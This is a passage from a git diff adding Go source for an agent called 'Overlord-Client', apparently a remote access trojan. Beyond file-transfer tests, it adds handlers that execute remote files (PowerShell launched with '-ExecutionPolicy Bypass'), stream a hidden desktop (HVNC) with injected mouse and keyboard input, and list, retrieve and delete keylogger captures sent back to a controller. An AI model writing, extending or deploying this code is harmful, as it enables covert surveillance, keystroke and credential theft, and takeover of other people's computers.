HandleFileMkdir(ctx, env, cmdID, newDir); err != nil { + t.Fatalf("HandleFileMkdir failed: %v", err) + } + + info, err := os.Stat(newDir) + if err != nil { + t.Fatalf("Directory should have been created: %v", err) + } + if !info.IsDir() { + t.Error("Created path should be a directory") + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if !result.OK { + t.Errorf("Expected OK=true, got false with message: %s", result.Message) + } +} + +func TestHandleFileUpload(t *testing.T) { + tmpDir := t.TempDir() + uploadPath := filepath.Join(tmpDir, "uploaded.txt") + uploadContent := []byte("This is uploaded content") + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-6" + + if err := HandleFileUpload(ctx, env, cmdID, uploadPath, uploadContent, 0, int64(len(uploadContent)), "test-transfer"); err != nil { + t.Fatalf("HandleFileUpload failed: %v", err) + } + + content, err := os.ReadFile(uploadPath) + if err != nil { + t.Fatalf("Failed to read uploaded file: %v", err) + } + + if string(content) != string(uploadContent) { + t.Errorf("Upload content mismatch:\ngot: %s\nwant: %s", string(content), string(uploadContent)) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.FileUploadResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + + if !result.OK { + t.Errorf("Expected OK=true, got false with error: %s", result.Error) + } +} + +func TestHandleFileDownload_Chunked(t *testing.T) { + tmpDir := t.TempDir() + filePath := filepath.Join(tmpDir, "chunked.bin") + data := bytes.Repeat([]byte("a"), maxChunkSize*2+123) + + if err := os.WriteFile(filePath, data, 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + + writer := &testWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + ctx := context.Background() + + if err := HandleFileDownload(ctx, env, "cmd-chunked-dl", filePath); err != nil { + t.Fatalf("HandleFileDownload failed: %v", err) + } + + if len(writer.msgs) < 2 { + t.Fatalf("Expected multiple chunks, got %d", len(writer.msgs)) + } + + var assembled []byte + var chunksTotal int + for _, msg := range writer.msgs { + var chunk wire.FileDownload + if err := msgpack.Unmarshal(msg, &chunk); err != nil { + t.Fatalf("Failed to unmarshal chunk: %v", err) + } + assembled = append(assembled, chunk.Data...) + chunksTotal = chunk.ChunksTotal + if chunk.Total != int64(len(data)) { + t.Fatalf("Expected total %d, got %d", len(data), chunk.Total) + } + } + + if chunksTotal < 2 { + t.Fatalf("Expected chunksTotal >= 2, got %d", chunksTotal) + } + if !bytes.Equal(assembled, data) { + t.Fatalf("Downloaded content mismatch") + } +} + +func TestHandleFileUpload_Chunked(t *testing.T) { + tmpDir := t.TempDir() + uploadPath := filepath.Join(tmpDir, "uploaded.bin") + data := bytes.Repeat([]byte("b"), maxChunkSize*2+77) + + writer := &testWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + ctx := context.Background() + cmdID := "cmd-chunked-ul" + transferID := "transfer-123" + + chunks := [][]byte{ + data[:maxChunkSize], + data[maxChunkSize : maxChunkSize*2], + data[maxChunkSize*2:], + } + + offset := int64(0) + for _, chunk := range chunks { + if err := HandleFileUpload(ctx, env, cmdID, uploadPath, chunk, offset, int64(len(data)), transferID); err != nil { + t.Fatalf("HandleFileUpload failed: %v", err) + } + offset += int64(len(chunk)) + } + + content, err := os.ReadFile(uploadPath) + if err != nil { + t.Fatalf("Failed to read uploaded file: %v", err) + } + if !bytes.Equal(content, data) { + t.Fatalf("Uploaded content mismatch") + } + + if len(writer.msgs) != len(chunks) { + t.Fatalf("Expected %d messages, got %d", len(chunks), len(writer.msgs)) + } +} + +func TestHandleFileUpload_InvalidChunk(t *testing.T) { + tmpDir := t.TempDir() + uploadPath := filepath.Join(tmpDir, "bad.bin") + + writer := &testWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + ctx := context.Background() + + if err := HandleFileUpload(ctx, env, "cmd-bad", uploadPath, []byte("bad"), 5, 4, "bad-transfer"); err != nil { + t.Fatalf("HandleFileUpload failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("Expected 1 message, got %d", len(writer.msgs)) + } + + var result wire.FileUploadResult + if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil { + t.Fatalf("Failed to unmarshal result: %v", err) + } + if result.OK { + t.Fatalf("Expected OK=false for invalid chunk") + } +} + +func TestHandleFileZip(t *testing.T) { + + tmpDir := t.TempDir() + sourceDir := filepath.Join(tmpDir, "source") + + if err := os.Mkdir(sourceDir, 0755); err != nil { + t.Fatalf("Failed to create source dir: %v", err) + } + + testFile := filepath.Join(sourceDir, "test.txt") + if err := os.WriteFile(testFile, []byte("zip me"), 0644); err != nil { + t.Fatalf("Failed to create test file: %v", err) + } + + writer := &testWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + } + + ctx := context.Background() + cmdID := "test-cmd-7" + + if err := HandleFileZip(ctx, env, cmdID, sourceDir); err != nil { + t.Fatalf("HandleFileZip failed: %v", err) + } + + if len(writer.msgs) == 0 { + t.Fatal("Expected at least 1 message") + } + + hasResult := false + hasDownload := false + + for _, msg := range writer.msgs { + var testMsg map[string]interface{} + if err := msgpack.Unmarshal(msg, &testMsg); err == nil { + msgType, _ := testMsg["type"].(string) + if msgType == "command_result" { + hasResult = true + } + if msgType == "file_download" { + hasDownload = true + } + } + } + + t.Logf("Has command_result: %v, has file_download: %v", hasResult, hasDownload) + + if !hasResult && !hasDownload { + t.Error("Expected either command_result or file_download message") + } +} diff --git a/Overlord-Client/cmd/agent/handlers/files_unix.go b/Overlord-Client/cmd/agent/handlers/files_unix.go new file mode 100644 index 0000000..fabd010 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_unix.go @@ -0,0 +1,104 @@ +//go:build !windows +// +build !windows + +package handlers + +import ( + "fmt" + "os" + "os/exec" + "os/user" + "strconv" + "strings" + "syscall" + + "overlord-client/cmd/agent/wire" +) + +func getFilePermissions(info os.FileInfo) (mode, owner, group string) { + + mode = fmt.Sprintf("%04o", info.Mode().Perm()) + + if stat, ok := info.Sys().(*syscall.Stat_t); ok { + + if u, err := user.LookupId(strconv.Itoa(int(stat.Uid))); err == nil { + owner = u.Username + } else { + owner = strconv.Itoa(int(stat.Uid)) + } + + if g, err := user.LookupGroupId(strconv.Itoa(int(stat.Gid))); err == nil { + group = g.Name + } else { + group = strconv.Itoa(int(stat.Gid)) + } + } + + return +} + +func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) { + mode, owner, group := getFilePermissions(info) + entry.Mode = mode + entry.Owner = owner + entry.Group = group +} + +func ChangeFilePermissions(path string, mode string) error { + + var modeVal uint32 + _, err := fmt.Sscanf(mode, "%o", &modeVal) + if err != nil { + return fmt.Errorf("invalid mode format: %v", err) + } + + return os.Chmod(path, os.FileMode(modeVal)) +} + +func ExecuteFile(path string) error { + ext := "" + if idx := strings.LastIndex(path, "."); idx != -1 { + ext = path[idx:] + } + + info, err := os.Stat(path) + if err != nil { + return fmt.Errorf("file not found: %s", path) + } + + switch ext { + case ".sh", ".bash": + + return execCommand("bash", path) + case ".py": + + return execCommand("python3", path) + case ".rb": + + return execCommand("ruby", path) + case ".js": + + return execCommand("node", path) + case ".pl": + + return execCommand("perl", path) + case "": + + if info.Mode()&0111 != 0 { + return execCommand(path) + } + return fmt.Errorf("file is not executable") + default: + + if info.Mode()&0111 != 0 { + return execCommand(path) + } + return fmt.Errorf("unsupported file type: %s", ext) + } +} + +func execCommand(name string, args ...string) error { + cmd := exec.Command(name, args...) + + return cmd.Start() +} diff --git a/Overlord-Client/cmd/agent/handlers/files_windows.go b/Overlord-Client/cmd/agent/handlers/files_windows.go new file mode 100644 index 0000000..b774faf --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/files_windows.go @@ -0,0 +1,71 @@ +//go:build windows +// +build windows + +package handlers + +import ( + "fmt" + "os" + "os/exec" + + "overlord-client/cmd/agent/wire" +) + +func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) { + +} + +func ChangeFilePermissions(path string, mode string) error { + return fmt.Errorf("chmod not supported on Windows") +} + +func ExecuteFile(path string) error { + + ext := "" + lastDot := -1 + for i := len(path) - 1; i >= 0; i-- { + if path[i] == '.' { + lastDot = i + break + } + if path[i] == '/' || path[i] == '\\' { + break + } + } + if lastDot >= 0 { + ext = path[lastDot:] + } + + if _, err := os.Stat(path); err != nil { + return fmt.Errorf("file not found: %s", path) + } + + switch ext { + case ".exe", ".com": + + return execCommand(path) + case ".bat", ".cmd": + + return execCommand("cmd.exe", "/c", path) + case ".ps1": + + return execCommand("powershell.exe", "-ExecutionPolicy", "Bypass", "-File", path) + case ".vbs": + + return execCommand("wscript.exe", path) + case ".py": + + return execCommand("python", path) + case ".js": + + return execCommand("node", path) + default: + return fmt.Errorf("unsupported file type: %s", ext) + } +} + +func execCommand(name string, args ...string) error { + cmd := exec.Command(name, args...) + + return cmd.Start() +} diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack.go b/Overlord-Client/cmd/agent/handlers/hello_ack.go new file mode 100644 index 0000000..3cd6a5b --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/hello_ack.go @@ -0,0 +1,44 @@ +package handlers + +import ( + "context" + "log" + "strings" + + "overlord-client/cmd/agent/runtime" +) + +func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error { + log.Printf("hello ack received") + if env == nil || envelope == nil { + return nil + } + + var keywords []string + minInterval := 0 + + if raw, ok := envelope["notification"].(map[string]interface{}); ok { + if rawKeywords, ok := raw["keywords"].([]interface{}); ok { + for _, v := range rawKeywords { + if s, ok := v.(string); ok { + s = strings.TrimSpace(s) + if s != "" { + keywords = append(keywords, s) + } + } + } + } + if v, ok := raw["minIntervalMs"].(float64); ok { + minInterval = int(v) + } + if v, ok := raw["minIntervalMs"].(int); ok { + minInterval = v + } + } + + if len(keywords) > 0 || minInterval > 0 { + env.SetNotificationConfig(keywords, minInterval) + log.Printf("hello ack: loaded %d notification keywords", len(keywords)) + } + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go new file mode 100644 index 0000000..403f469 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/hvnc.go @@ -0,0 +1,90 @@ +package handlers + +import ( + "context" + "log" + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" + "sync" + "time" +) + +var ( + hvncPersistedDisplayValue int + hvncPersistedDisplayMu sync.Mutex +) + +func persistHVNCDisplaySelection(display int) { + hvncPersistedDisplayMu.Lock() + hvncPersistedDisplayValue = display + hvncPersistedDisplayMu.Unlock() +} + +func GetPersistedHVNCDisplay() int { + hvncPersistedDisplayMu.Lock() + defer hvncPersistedDisplayMu.Unlock() + return hvncPersistedDisplayValue +} + +func HVNCStart(ctx context.Context, env *rt.Env) error { + interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30) + log.Printf("hvnc: starting stream (max fps %d)", fps) + + if err := capture.InitializeHVNCDesktop(); err != nil { + log.Printf("hvnc: failed to initialize hidden desktop: %v", err) + return err + } + + ticker := time.NewTicker(interval) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + log.Printf("hvnc: stopping stream") + capture.CleanupHVNCDesktop() + return nil + case <-ticker.C: + if err := capture.NowHVNC(ctx, env); err != nil { + if ctx.Err() != nil { + log.Printf("hvnc: stopping stream") + capture.CleanupHVNCDesktop() + return nil + } + log.Printf("hvnc: capture error: %v", err) + } + } + } +} + +func HVNCSelect(ctx context.Context, env *rt.Env, display int) error { + prev := env.HVNCSelectedDisplay + maxDisplays := capture.HVNCMonitorCount() + if display < 0 || display >= maxDisplays { + log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1) + display = 0 + } + env.HVNCSelectedDisplay = display + + persistHVNCDisplaySelection(display) + log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display) + return nil +} + +func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.HVNCMouseControl = enabled + log.Printf("hvnc: mouse control %v", enabled) + return nil +} + +func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.HVNCKeyboardControl = enabled + log.Printf("hvnc: keyboard control %v", enabled) + return nil +} + +func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.HVNCCursorCapture = enabled + capture.SetHVNCCursorCapture(enabled) + log.Printf("hvnc: cursor capture %v", enabled) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go b/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go new file mode 100644 index 0000000..95ab5bf --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/hvnc_input_stub.go @@ -0,0 +1,10 @@ +//go:build !windows + +package handlers + +func setCursorPosHVNC(x, y int32) {} +func sendMouseDownHVNC(button int) {} +func sendMouseUpHVNC(button int) {} +func sendKeyDownHVNC(vk uint16) {} +func sendKeyUpHVNC(vk uint16) {} +func keyCodeToVKHVNC(code string) uint16 { return 0 } diff --git a/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go b/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go new file mode 100644 index 0000000..51b9a13 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/hvnc_input_windows.go @@ -0,0 +1,7 @@ +//go:build windows + +package handlers + +func keyCodeToVKHVNC(code string) uint16 { + return keyCodeToVK(code) +} diff --git a/Overlord-Client/cmd/agent/handlers/input_stub.go b/Overlord-Client/cmd/agent/handlers/input_stub.go new file mode 100644 index 0000000..3d6eef5 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/input_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package handlers + +func setCursorPos(x, y int32) {} +func sendMouseDown(button int) {} +func sendMouseUp(button int) {} +func sendKeyDown(vk uint16) {} +func sendKeyUp(vk uint16) {} +func sendTextInput(text string) {} +func keyCodeToVK(code string) uint16 { return 0 } diff --git a/Overlord-Client/cmd/agent/handlers/input_windows.go b/Overlord-Client/cmd/agent/handlers/input_windows.go new file mode 100644 index 0000000..e247987 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/input_windows.go @@ -0,0 +1,282 @@ +//go:build windows + +package handlers + +import ( + "syscall" + "unsafe" +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + procSetCursorPos = user32.NewProc("SetCursorPos") + procSendInput = user32.NewProc("SendInput") + procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") + procGetSystemMetrics = user32.NewProc("GetSystemMetrics") +) + +const ( + MOUSEEVENTF_MOVE = 0x0001 + MOUSEEVENTF_LEFTDOWN = 0x0002 + MOUSEEVENTF_LEFTUP = 0x0004 + MOUSEEVENTF_RIGHTDOWN = 0x0008 + MOUSEEVENTF_RIGHTUP = 0x0010 + MOUSEEVENTF_MIDDLEDOWN = 0x0020 + MOUSEEVENTF_MIDDLEUP = 0x0040 + MOUSEEVENTF_ABSOLUTE = 0x8000 + MOUSEEVENTF_VIRTUALDESK = 0x4000 + + INPUT_MOUSE = 0 + INPUT_KEYBOARD = 1 + + KEYEVENTF_EXTENDEDKEY = 0x0001 + KEYEVENTF_KEYUP = 0x0002 + KEYEVENTF_UNICODE = 0x0004 + KEYEVENTF_SCANCODE = 0x0008 + + SM_XVIRTUALSCREEN = 76 + SM_YVIRTUALSCREEN = 77 + SM_CXVIRTUALSCREEN = 78 + SM_CYVIRTUALSCREEN = 79 +) + +type mouseInput struct { + dx int32 + dy int32 + mouseData uint32 + dwFlags uint32 + time uint32 + dwExtraInfo uintptr +} + +type keybdInput struct { + wVk uint16 + wScan uint16 + dwFlags uint32 + time uint32 + dwExtraInfo uintptr +} + +type hardwareInput struct { + uMsg uint32 + wParamL uint16 + wParamH uint16 +} + +type input struct { + inputType uint32 + _ uint32 + union [32]byte +} + +func setCursorPos(x, y int32) { + if !sendMouseMoveAbsolute(x, y) { + _, _, _ = procSetCursorPos.Call(uintptr(x), uintptr(y)) + } +} + +func sendMouseDown(button int) { + switch button { + case 0: + sendMouseInput(MOUSEEVENTF_LEFTDOWN, 0) + case 2: + sendMouseInput(MOUSEEVENTF_RIGHTDOWN, 0) + case 1: + sendMouseInput(MOUSEEVENTF_MIDDLEDOWN, 0) + } +} + +func sendMouseUp(button int) { + switch button { + case 0: + sendMouseInput(MOUSEEVENTF_LEFTUP, 0) + case 2: + sendMouseInput(MOUSEEVENTF_RIGHTUP, 0) + case 1: + sendMouseInput(MOUSEEVENTF_MIDDLEUP, 0) + } +} + +func sendMouseInput(flags uint32, mouseData uint32) { + var inp input + inp.inputType = INPUT_MOUSE + mi := (*mouseInput)(unsafe.Pointer(&inp.union[0])) + mi.dx = 0 + mi.dy = 0 + mi.mouseData = mouseData + mi.dwFlags = flags + mi.time = 0 + mi.dwExtraInfo = 0 + _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) +} + +func sendMouseMoveAbsolute(x, y int32) bool { + left := getSystemMetrics(SM_XVIRTUALSCREEN) + top := getSystemMetrics(SM_YVIRTUALSCREEN) + width := getSystemMetrics(SM_CXVIRTUALSCREEN) + height := getSystemMetrics(SM_CYVIRTUALSCREEN) + if width <= 1 || height <= 1 { + return false + } + + const maxCoord = 65535 + relX := int64(x) - int64(left) + relY := int64(y) - int64(top) + if relX < 0 { + relX = 0 + } + if relY < 0 { + relY = 0 + } + if relX > int64(width-1) { + relX = int64(width - 1) + } + if relY > int64(height-1) { + relY = int64(height - 1) + } + + normX := int32(relX * maxCoord / int64(width-1)) + normY := int32(relY * maxCoord / int64(height-1)) + + var inp input + inp.inputType = INPUT_MOUSE + mi := (*mouseInput)(unsafe.Pointer(&inp.union[0])) + mi.dx = normX + mi.dy = normY + mi.mouseData = 0 + mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK + mi.time = 0 + mi.dwExtraInfo = 0 + r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) + return r != 0 +} + +func getSystemMetrics(index int32) int32 { + r, _, _ := procGetSystemMetrics.Call(uintptr(index)) + return int32(r) +} + +func sendKeyDown(vk uint16) { + sendKeyInput(vk, false) +} + +func sendKeyUp(vk uint16) { + sendKeyInput(vk, true) +} + +func sendKeyInput(vk uint16, keyUp bool) { + var inp input + inp.inputType = INPUT_KEYBOARD + ki := (*keybdInput)(unsafe.Pointer(&inp.union[0])) + ki.wVk = vk + ki.wScan = uint16(mapVirtualKey(vk)) + flags := uint32(0) + if keyUp { + flags |= KEYEVENTF_KEYUP + } + if isExtendedKey(vk) { + flags |= KEYEVENTF_EXTENDEDKEY + } + ki.dwFlags = flags + ki.time = 0 + ki.dwExtraInfo = 0 + _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) +} + +func isExtendedKey(vk uint16) bool { + switch vk { + case 0xA3, // VK_RCONTROL + 0xA5, // VK_RMENU + 0x21, // VK_PRIOR + 0x22, // VK_NEXT + 0x23, // VK_END + 0x24, // VK_HOME + 0x25, // VK_LEFT + 0x26, // VK_UP + 0x27, // VK_RIGHT + 0x28, // VK_DOWN + 0x2D, // VK_INSERT + 0x2E, // VK_DELETE + 0x6F, // VK_DIVIDE + 0x90: // VK_NUMLOCK + return true + default: + return false + } +} + +func mapVirtualKey(vk uint16) uint32 { + ret, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0) + return uint32(ret) +} + +func sendTextInput(text string) { + for _, r := range text { + switch r { + case '\r', '\n': + sendKeyDown(0x0D) + sendKeyUp(0x0D) + case '\t': + sendKeyDown(0x09) + sendKeyUp(0x09) + case '\b': + sendKeyDown(0x08) + sendKeyUp(0x08) + default: + sendUnicodeRune(r) + } + } +} + +func sendUnicodeRune(r rune) { + var inp input + inp.inputType = INPUT_KEYBOARD + ki := (*keybdInput)(unsafe.Pointer(&inp.union[0])) + ki.wVk = 0 + ki.wScan = uint16(r) + ki.dwFlags = KEYEVENTF_UNICODE + _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) + + var inpUp input + inpUp.inputType = INPUT_KEYBOARD + kiUp := (*keybdInput)(unsafe.Pointer(&inpUp.union[0])) + kiUp.wVk = 0 + kiUp.wScan = uint16(r) + kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP + _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp)) +} + +func keyCodeToVK(code string) uint16 { + vkMap := map[string]uint16{ + "KeyA": 0x41, "KeyB": 0x42, "KeyC": 0x43, "KeyD": 0x44, "KeyE": 0x45, + "KeyF": 0x46, "KeyG": 0x47, "KeyH": 0x48, "KeyI": 0x49, "KeyJ": 0x4A, + "KeyK": 0x4B, "KeyL": 0x4C, "KeyM": 0x4D, "KeyN": 0x4E, "KeyO": 0x4F, + "KeyP": 0x50, "KeyQ": 0x51, "KeyR": 0x52, "KeyS": 0x53, "KeyT": 0x54, + "KeyU": 0x55, "KeyV": 0x56, "KeyW": 0x57, "KeyX": 0x58, "KeyY": 0x59, "KeyZ": 0x5A, + "Digit0": 0x30, "Digit1": 0x31, "Digit2": 0x32, "Digit3": 0x33, "Digit4": 0x34, + "Digit5": 0x35, "Digit6": 0x36, "Digit7": 0x37, "Digit8": 0x38, "Digit9": 0x39, + "Enter": 0x0D, "Space": 0x20, "Backspace": 0x08, "Tab": 0x09, "Escape": 0x1B, + "ShiftLeft": 0xA0, "ShiftRight": 0xA1, "ControlLeft": 0xA2, "ControlRight": 0xA3, + "AltLeft": 0xA4, "AltRight": 0xA5, "MetaLeft": 0x5B, "MetaRight": 0x5C, + "ArrowLeft": 0x25, "ArrowUp": 0x26, "ArrowRight": 0x27, "ArrowDown": 0x28, + "Delete": 0x2E, "Home": 0x24, "End": 0x23, "PageUp": 0x21, "PageDown": 0x22, + "F1": 0x70, "F2": 0x71, "F3": 0x72, "F4": 0x73, "F5": 0x74, "F6": 0x75, + "F7": 0x76, "F8": 0x77, "F9": 0x78, "F10": 0x79, "F11": 0x7A, "F12": 0x7B, + "Slash": 0xBF, + "Backquote": 0xC0, + "Minus": 0xBD, + "Equal": 0xBB, + "BracketLeft": 0xDB, + "BracketRight": 0xDD, + "Backslash": 0xDC, + "IntlBackslash": 0xDC, + "Semicolon": 0xBA, + "Quote": 0xDE, + "Comma": 0xBC, + "Period": 0xBE, + } + if vk, ok := vkMap[code]; ok { + return vk + } + return 0 +} diff --git a/Overlord-Client/cmd/agent/handlers/keylogger.go b/Overlord-Client/cmd/agent/handlers/keylogger.go new file mode 100644 index 0000000..0d7f241 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/keylogger.go @@ -0,0 +1,193 @@ +package handlers + +import ( + "context" + "encoding/base64" + "log" + + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +const MaxChunkSize = 256 * 1024 + +func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error { + if env.Keylogger == nil { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "command_result", + "commandId": cmdID, + "ok": false, + "message": "Keylogger not initialized", + }) + } + + env.Keylogger.FlushNow() + + files, err := env.Keylogger.ListFiles() + if err != nil { + log.Printf("[keylogger] list error: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "command_result", + "commandId": cmdID, + "ok": false, + "message": err.Error(), + }) + } + + fileInfos := make([]map[string]interface{}, len(files)) + for i, f := range files { + fileInfos[i] = map[string]interface{}{ + "name": f.Name, + "size": f.Size, + "date": f.Date.Format("2006-01-02T15:04:05Z07:00"), + } + } + + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_file_list", + "files": fileInfos, + }) +} + +func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error { + if env.Keylogger == nil { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "command_result", + "commandId": cmdID, + "ok": false, + "message": "Keylogger not initialized", + }) + } + + if filename == "" { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "command_result", + "commandId": cmdID, + "ok": false, + "message": "Filename required", + }) + } + + env.Keylogger.FlushNow() + + data, err := env.Keylogger.ReadFile(filename) + if err != nil { + log.Printf("[keylogger] read error: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "command_result", + "commandId": cmdID, + "ok": false, + "message": err.Error(), + }) + } + + if len(data) <= MaxChunkSize { + content := string(data) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_file_content", + "filename": filename, + "content": content, + }) + } + + totalChunks := (len(data) + MaxChunkSize - 1) / MaxChunkSize + for i := 0; i < totalChunks; i++ { + start := i * MaxChunkSize + end := start + MaxChunkSize + if end > len(data) { + end = len(data) + } + + chunk := data[start:end] + isLast := i == totalChunks-1 + + encoded := base64.StdEncoding.EncodeToString(chunk) + + if err := wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_file_chunk", + "filename": filename, + "chunk": i, + "total": totalChunks, + "content": encoded, + "isLast": isLast, + "isEncoded": true, + }); err != nil { + log.Printf("[keylogger] send chunk error: %v", err) + return err + } + + if isLast { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_file_content", + "filename": filename, + "content": string(data), + }) + } + } + + return nil +} + +func HandleKeylogClearAll(ctx context.Context, env *runtime.Env, cmdID string) error { + if env.Keylogger == nil { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_clear_result", + "commandId": cmdID, + "ok": false, + "error": "Keylogger not initialized", + }) + } + + err := env.Keylogger.ClearAll() + if err != nil { + log.Printf("[keylogger] clear error: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_clear_result", + "commandId": cmdID, + "ok": false, + "error": err.Error(), + }) + } + + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_clear_result", + "ok": true, + }) +} + +func HandleKeylogDelete(ctx context.Context, env *runtime.Env, cmdID string, filename string) error { + if env.Keylogger == nil { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_delete_result", + "commandId": cmdID, + "ok": false, + "error": "Keylogger not initialized", + }) + } + + if filename == "" { + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_delete_result", + "commandId": cmdID, + "ok": false, + "error": "Filename required", + }) + } + + if err := env.Keylogger.DeleteFile(filename); err != nil { + log.Printf("[keylogger] delete error: %v", err) + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_delete_result", + "commandId": cmdID, + "ok": false, + "error": err.Error(), + "filename": filename, + }) + } + + return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ + "type": "keylog_delete_result", + "ok": true, + "filename": filename, + }) +} diff --git a/Overlord-Client/cmd/agent/handlers/notification_config.go b/Overlord-Client/cmd/agent/handlers/notification_config.go new file mode 100644 index 0000000..33b3be7 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/notification_config.go @@ -0,0 +1,39 @@ +package handlers + +import ( + "context" + "log" + "strings" + + "overlord-client/cmd/agent/runtime" +) + +func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error { + if env == nil || envelope == nil { + return nil + } + + var keywords []string + minInterval := 0 + + if raw, ok := envelope["keywords"].([]interface{}); ok { + for _, v := range raw { + if s, ok := v.(string); ok { + s = strings.TrimSpace(s) + if s != "" { + keywords = append(keywords, s) + } + } + } + } + if v, ok := envelope["minIntervalMs"].(float64); ok { + minInterval = int(v) + } + if v, ok := envelope["minIntervalMs"].(int); ok { + minInterval = v + } + + env.SetNotificationConfig(keywords, minInterval) + log.Printf("notification_config: loaded %d keywords", len(keywords)) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/panic_guard.go b/Overlord-Client/cmd/agent/handlers/panic_guard.go new file mode 100644 index 0000000..8b6170d --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/panic_guard.go @@ -0,0 +1,56 @@ +package handlers + +import ( + "context" + "fmt" + "log" + "os" + "path/filepath" + "runtime" + "runtime/debug" + "time" +) + +const crashLogFileName = "crashlogC.log" + +func goSafe(label string, cancel context.CancelFunc, fn func()) { + go func() { + defer recoverAndLog(label, cancel) + fn() + }() +} + +func recoverAndLog(label string, cancel context.CancelFunc) { + if r := recover(); r != nil { + reason := fmt.Sprintf("%s panic: %v", label, r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("[panic] %s (see %s)", reason, path) + if cancel != nil { + cancel() + } + } +} + +func writeCrashLog(reason string, stack []byte) string { + dir := os.TempDir() + _ = os.MkdirAll(dir, 0700) + path := filepath.Join(dir, crashLogFileName) + + file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + log.Printf("[panic] failed to open crash log %s: %v", path, err) + return path + } + defer file.Close() + + timestamp := time.Now().UTC().Format(time.RFC3339) + _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp) + _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, 